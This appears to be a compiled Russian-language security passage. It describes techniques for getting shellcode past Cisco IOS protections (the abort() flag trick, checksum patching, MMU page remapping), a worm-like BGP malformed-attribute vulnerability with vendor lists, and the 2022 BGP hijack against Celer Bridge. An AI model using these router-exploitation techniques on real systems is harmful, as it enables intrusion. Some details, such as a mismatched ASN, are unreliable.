Ещё хуже, что Cisco IOS контролирует целостность кучи и автоматически перезагружает маршрутизатор, если цепочка ссылок (chunk linkage) оказывается разрушенной. За это отвечает специальный фоновой процесс, в зависимости от загрузки маршрутизатора пробуждающиеся каждые 30 или 60 секунд. Именно он проверяет магический номер и красную зону. Так что shell-коду отпущено совсем немного времени. Конечно, 30 секунд – это целая вечность для процессора, за которую можно не только внедриться в целевое железо, но и заразить множество соседних маршрутизаторов. Хакеры FX и KIMO предложили несколько решений этой проблемы, но все они оказались нежизнеспособными. Майкл был первым, кому удалось нащупать правильный путь, простой как всё гениальное.
Оказалось, процедура abort(), выполняющая перезагрузку, использует специальный флаг-семафор, предотвращающий повторное вхождение (по такому же принципу устроена защита от многократного нажатия Alt-Ctrl-Del в Windows NT). Если мы установим его в единицу, функция abort() тут же выполнит return без всякий перезагрузки. Ниже приведен ее ключевой фрагмент (впрочем, маршрутизатор всё равно будет перезагружен через некоторое время, ведь куча разрушена, так что shell-коду надо спешить).
Ни одна из версий Cisco IOS, работающих на платформе M68K, не использует аппаратные механизмы контроля за памятью, предоставляемые MMU (Memory Management Unit – Блок Управления Памятью), поэтому запись в кодовый сегмент проходит вполне беспрепятственно. Для защиты от непреднамеренного разрушения используются контрольные суммы. Каждые 30 или 60 секунд специальный процесс сканирует кодовый сегмент на предмет проверки его валидности и перезагружает маршрутизатор, если контрольные суммы не совпадают с расчетными. Однако, против преднамеренной модификации эта «защита» уже не срабатывает, поскольку контрольные суммы легко пересчитать и подправить.
На платформе MIPS операционная система Cisco IOS ведет себя иначе. На стадии инициализации она перепрограммирует MMU, запрещая модификацию кодового сегмента. Любая попытка записи в эту область вызывает крах системы и последующую перезагрузку маршрутизатора. Против непреднамеренной модификации этот механизм действует очень хорошо, но здравомыслящий хакер, после пятого пива, сможет легко его обойти. Идея заключается в отображении одной из физических кодовых страниц на область данных в записываемый регион. Аналогичный трюк, кстати говоря, используется и для модификации ядра Windows NT. В частности, он применяется во многих брандмауэрах и утилитах Марка Руссиновича.
Сноуден отдыхает
Вот три основных источника данных для поиска переполняющихся буферов: исходные тексты, обновления firmware и дамп памяти. Исходные тексты хороши тем, что их легко читать, но они не дают никакой информации о реализации системы на конкретном маршрутизаторе, к тому же их добыча вообще говоря не совсем законна.
Firmware как правило упакован и перед дизассемблированием его необходимо распаковать, причем сделать это не так-то просто, поскольку Cisco Systems, Inc. слегка покалечила заголовок. Майкл использовал WinRAR, другие хакеры используют zlib и пишут свой распаковщик самостоятельно.
Дамп памяти, создаваемый либо по команде, либо в результате краха системы, зачастую бывает сильно поврежден и дизассемблировать его непросто. С другой стороны, он содержит реальный образ рабочей системы и потому наиболее точно отображает текущее положение дел.
Outro
Операционная система Cisco IOS чрезвычайно широко распространена: она встречается и в коммутаторах, и в маршрутизаторах, и в точках доступа, однако, не стоит думать, что обнаружив новую дыру мы сможем взять все эти устройства под свой контроль, ведь в них используется различные процессоры и различные версии Cisco IOS, а потому с каждой железкой приходится воевать индивидуально. Хорошая новость — в отличии от серверов и персональных компьютеров, далеко не весь парк оборудования под управлением Cisco IOS позволяет обновлять прошивку, а даже если и позволяет, далеко не каждый администратор об этом задумывается всерьез.
BGP (the Border Gateway Protocol)— это магистральный протокол и «клей» Интернета, который рассылает информацию о маршрутах между сетями провайдеров. Короче говоря, этот протокол, BGP, является очень важным элементом, необходимым для правильной работы глобальной сети в целом.
Программное обеспечение маршрутизаторов, реализующее BGP, не идеально, поскольку как коммерческие, так и версии с открытым исходным кодом имеют проблемы в реализации этого протокола маршрутизации.
В то время как многие недостатки незначительны и связаны с проблемами маршрутизации, рассматриваемая ошибка обработки пакета BGP вызывает особое беспокойство, так как может распространяться как компьютерный червь.
Владелец BGP[.] Бен Картрайт-Кокс обнаружил этот недостаток; Это компания, которая предлагает услуги мониторинга BGP для обнаружения и решения проблем.
Ошибочный атрибут
2 июня 2023 года небольшая бразильская сеть повторно анонсировала маршрут с поврежденным атрибутом в пакете, что потенциально повлияло на транзитные маршрутизаторы.
Многие маршрутизаторы игнорировали этот атрибут, но маршрутизаторы Juniper принимая его, и ответ на ошибку в пакете закрывали сессии BGP, тем самым нарушая связанность своих сетей с глобальной сетью Интернет.
Кроме того, такая ошибка в пакете BGP прерывает сессию, прекращая переток клиентского трафика до тех пор, пока не будет выполнен автоматический перезапуск маршрутизатора, который обычно занимает от нескольких секунд до нескольких минут.
Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом
Это затронуло многих операторов, таких как COLT, сбой в работе которых и привлек внимание к этой проблеме.
Ошибка, связанная с обработкой ошибок BGP
Каждый атрибут пакета обновления BGP начинается с флагов, включая ключевой ‘транзитивный бит’:
Транзитивный бит в пакете обновления BGP
Если транзитивный бит атрибута установлен, а маршрутизатор его не понимает, он копируется на другой маршрутизатор, что может привести к слепому распространению неизвестной маршрутной информации.
Завершение работы сессии BGP нарушает переток трафика между автономными системами и может распространяться как червь. В то время как атрибуты, неизвестные одной реализации, могут привести к завершению работы другой, созданный BGP UPDATE может быть нацелен на поставщика определенного оборудования и вывести сеть провайдера из строя целиком.
Распространение ошибки в пакете BGP по сети
Эффект от атаки сохраняется довольно долгое время, так как анонсированный маршрут всё остается в одноранговом маршрутизаторе, даже после его перезапуска, при передаче нового пакета обновлений BGP он инициирует еще один сброс сессии, что приводит к длительным простоям.
Более того, чтобы проверить, какие реализации протокола BGP подвержены этой уязвимости можно использовать простую утилиту для тестирования.
Незатронутые поставщики оборудования
Далее приводим список поставщиков, которые не были затронуты этой уязвимостью:
MikroTik RouterOS 7+
Ubiquiti EdgeOS
Arista EOS
Huawei NE40
Cisco IOS-XE / “Classic” / XR
Bird 1.6, All versions of Bird 2.0
GoBGP
Подверженные версии оборудования или ПО
Juniper Networks Junos OS
Nokia’s SR-OS
Extreme Networks’ EXOS
OpenBSD’s OpenBGPd
OpenBSD’s FRRouting
Вопросы и ответы
Ранее было сообщено об этих уязвимостях всем подверженным ей поставщикам оборудования и программного обеспечения. После получения уведомления были получены следующие ответы от затронутых поставщиков:
OpenBSD выпустила патч
Компании Juniper присвоили CVE
FRR также присвоил CVE
В Nokia проблему не решили
Extreme также не решил эту проблему
Кроме того, несмотря на отсутствие ответов некоторых поставщиков оборудования, провайдеры услуг интернета сами могут принять меры по предотвращению потенциальной эксплуатации этой уязвимости.
Поговорим о том, как три часа бездействия сетевых инженеров Amazon стоили держателям криптовалюты в $235 000.
Amazon недавно потерял контроль над своими IP-адресами, которые он использует для предоставления облачных сервисов, и потребовалось более трех часов инженерам электросвязи, чтобы восстановить контроль над сетью. Эта ошибка позволила похитить 235 000 долларов США в криптовалюте у пользователей одного из партнёров Amazon.
Неизвестные захватили контроль примерно над 256 IP-адресами посредством перехвата сессии BGP, используя известные уязвимости основного интернет-протокола междоменной маршрутизации в глобальной сети Интернет. BGP — это протокол, который организации, маршрутизирующие трафик, известные в сети как автономные системы, используют для взаимодействия с другими такими же сетями или системами ASN. Несмотря на свою решающую функцию по маршрутизации больших объемов данных по всему миру в режиме реального времени, BGP по-прежнему в значительной степени полагается на доверие, что позволяет сетям и системам отслеживать, какие IP-адреса по праву принадлежат каким ASN.
Случай ошибочной идентификации
В прошлом месяце автономная система 209243, принадлежащая британскому сетевому оператору Quickhost.uk, внезапно начала объявлять через bgp, что ее инфраструктура является подходящим и наилучшим путём для других ASN для доступа к так называемому блоку IP-адресов /24, принадлежащему AS16509, одному из как минимум трёх ASN, которыми управляет Amazon. Захваченный блок включал 44.235.216.69 IP-адрес, на котором размещен cbridge-prod2.celer.network, поддомен, отвечающий за обслуживание критического пользовательского интерфейса смарт-контрактов криптовалютной биржи Celer Bridge.
17 августа неизвестные использовали bgp-перехват, чтобы сначала получить сертификат TLS для cbridge-prod2.celer.network, поскольку им удалось продемонстрировать центру сертификации GoGetSSL в Латвии, что они контролируют этот субдомен. Имея сертификат, неизвестные затем разместили свой собственный смарт-контракт в том же домене и ждали посещений от людей, пытающихся получить доступ к реальной странице Celer Bridge cbridge-prod2.celer.network.
В общей сложности подставной контракт унес с 32 учетных записей биржи в общей сложности 234 866,65 долларов США, согласно отчету охранной фирмы SlowMist и отчету группы анализа угроз Coinbase.
потери криптобиржы Celer Bridge из-за перехвата сессии BGP
Что думает по этому поводу команда Coinbase
Фишинговый контракт очень похож на официальный контракт Celer Bridge, поскольку имитирует многие его атрибуты. Для любого метода, явно не определенного в фишинговом контракте, он реализует структуру прокси, которая перенаправляет вызовы на легальный контракт Celer Bridge. Прокси-контракт уникален для каждой цепочки и настраивается при инициализации. Команда ниже иллюстрирует содержимое слота хранилища, отвечающего за конфигурацию прокси-контракта фишингового контракта:
Фишинговый контракт крадет средства пользователей двумя способами:
Любые токены, одобренные жертвами фишинга, удаляются с помощью специального метода с 4-байтовым значением 0x9c307de6().
Фишинговый контракт отменяет следующие методы, предназначенные для немедленной кражи токенов жертвы:
send() — используется для кражи токенов (например, USDC)
sendNative() — используется для кражи собственных активов (например, ETH)
addLiquidity() — используется для кражи токенов (например, USDC)
addNativeLiquidity() — используется для кражи собственных активов (например, ETH)
Ниже приведен пример фрагмента кода, полученного методом реверс-инжиниринга, который перенаправляет активы в кошелек человека, осуществившего BGP-перехват:
Привет, Amazon? Где ваш сетевой инженер?
Как показано в зеленых секциях в верхней части этого графика, подготовленного Дугом Мэдори из компании по мониторингу сети Kentik, мошенническое объявление BGP началось 17 августа около 19:39 UTC времени и за считанные секунды префикс распространился глобально. По неизвестным причинам объявление префикса было отозвано в 20:22 только для того, чтобы вернуться и быть отозвано еще три раза в течение следующих двух часов.
В объявлении маршрута по BGP утверждалось, что адрес 44.235.216.0/24 исходит от AS14618, одного из других ASN Amazon, и должен быть маршрутизирован через AS20943 Quickhostuk. Новое объявление BGP, подобное этому, которое за считанные секунды заставляет весь Интернет маршрутизировать IP-адреса Amazon через Quickhostuk ASN, — это событие, которое должно было вызвать немедленное расследование со стороны облачного провайдера. По причинам, которые остаются неизвестными, Amazon не начал объявлять правильный путь для своего блока /24 до 23:07 (как указано фиолетовым цветом на графике выше), более чем через три часа после начала мошеннических объявлений маршрутной информации BGP.
«Ключевой деталью, которая отличала бы это предупреждение от появления просто еще одного узла Amazon, было бы то, что новый восходящий поток был виден 100% точек обзора BGP», — написал Мадори в четверг. «Другими словами, этот новый префикс Amazon эксклюзивно передавался этим относительно неизвестным хостинг-провайдером. Это должно было вызвать удивление у команды Amazon NetOps».
Представители Amazon не ответили ни на одно из трех электронных писем с просьбой прокомментировать этот пост, отправленных за последние девять дней. После публикации этого сообщения представитель Amazon заявил, что все несколько адресов назначения в запросе на комментарий были отключены, и что компания не игнорирует электронные письма.
Представители Quickhostuk не ответили на два электронных письма с вопросом, как и откуда появились мошеннические объявления маршрутной информации BGP.
Подобное уже случалось ранее
Это не первый случай, когда BGP-атака с целью перехвата IP-адресов Amazon заканчивается огромными потерями криптовалюты. В 2018 году невероятно похожее событие произошло с сервисом системы доменных имен Amazon Route 53. В результате атаки у владельцев счетов MyEtherWallet.com было украдено около 150 000 долларов США в криптовалюте. Украденная сумма, вероятно, была бы выше, если бы неизвестные получили бы доверенный браузеру TLS-сертификат вместо самописного сертификата, который требовал от жертв нажатия на предупреждение.
После атаки 2018 года Amazon добавила более 5000 своих IP-префиксов к так называемым ROA (разрешения на происхождение маршрута), которые представляют собой общедоступные документы, в которых указывается, какие ASN имеют право объявлять какие IP-адреса. Этот шаг обеспечил некоторую защиту от RPKI (инфраструктуры открытых ключей ресурсов), которая использует цифровые сертификаты для подключения ASN к их законным IP-адресам.
Этот анализ показывает, что для обхода защиты неизвестные в прошлом месяце добавили AS16509 и более конкретный маршрут /24 в так называемый AS-SET, индексированный в ALTDB, бесплатном реестре для автономных систем, в котором можно публиковать свои политики маршрутизации BGP.
irrd.log-20220817.gz:31106270-ADD 96126 irrd.log-20220817.gz:31106280- irrd.log-20220817.gz:31106281-as-set: AS-SET209243 irrd.log-20220817.gz:31106306-descr: quickhost set irrd.log-20220817.gz:31106332-members: AS209243, AS16509 irrd.log-20220817.gz:31106362:mnt-by: MAINT-QUICKHOSTUK irrd.log-20220817.gz:31106392-changed: crussell()quickhostuk net 20220816 irrd.log-20220817.gz:31106438-source: ALTDB
AS-SET — это регистрационная запись, определяющая допустимый набор номеров ASN, с которыми провайдер может взаимодействовать в глобальной сети.
Анализируя, почему этот приём не смог предотвратить угон bgp-сессии в прошлом месяце, Мадори осторожно отметил, что RPKI предназначен для ограничения воздействия непреднамеренных или случайных перехватов bgp из-за утечек маршрутизации или неправильных конфигураций, а не в качестве механизма безопасности для предотвращения мошенничества и угона bgp-сессии со стороны мотивированных нарушителей.
Он написал: «Тем не менее, это все равно могло бы помочь, если бы ROA было настроено по-другому. В нынешнем виде ROA для рассматриваемого адресного пространства довольно либерален. По сути, три разных ASN Amazon (16509, 8987 и 14618) могут объявлять части этого адресного пространства с префиксами размером от /10 до /24. Посмотрите выходные данные веб-интерфейса Routinator:…»
Альтернативным подходом к созданию ROA было бы сделать то, что сделали другие сети, такие как Cloudflare и Comcast: установить источник и максимальную длину префикса, чтобы они были идентичны тому, как маршрутизируется префикс. Хотя этот подход влечет за собой накладные расходы, связанные с необходимостью обновлять ROA каждый раз при изменении маршрута, он также оставляет мало места для ввода в обращение альтернативных версий маршрута.
Честно говоря, Amazon — далеко не единственный облачный оператор, потерявший контроль над своими IP-адресами в результате атаки BGP. Уязвимость BGP к неуклюжим ошибкам в настройке и откровенному мошенничеству очевидна уже более двух десятилетий. Отсутствие безопасности в конечном итоге является общеотраслевой проблемой, которую Amazon не в состоянии решить в одиночку.
Но как облачный провайдер первого уровня, который в настоящее время пострадал как минимум от двух перехватов BGP, которые стоили денег нижестоящим пользователям, Amazon следует ожидать, что он признает это событие, объяснит, почему он ждал более трех часов, чтобы принять корректирующие меры, и наметит план. для предотвращения подобных случаев в будущем. Вместо того, чтобы хранить молчание по радио, как это делалось в течение последних пяти недель, Quickhostuk также должен объяснить этот инцидент и объяснить, почему его ASN опубликовал такое проблемное объявление.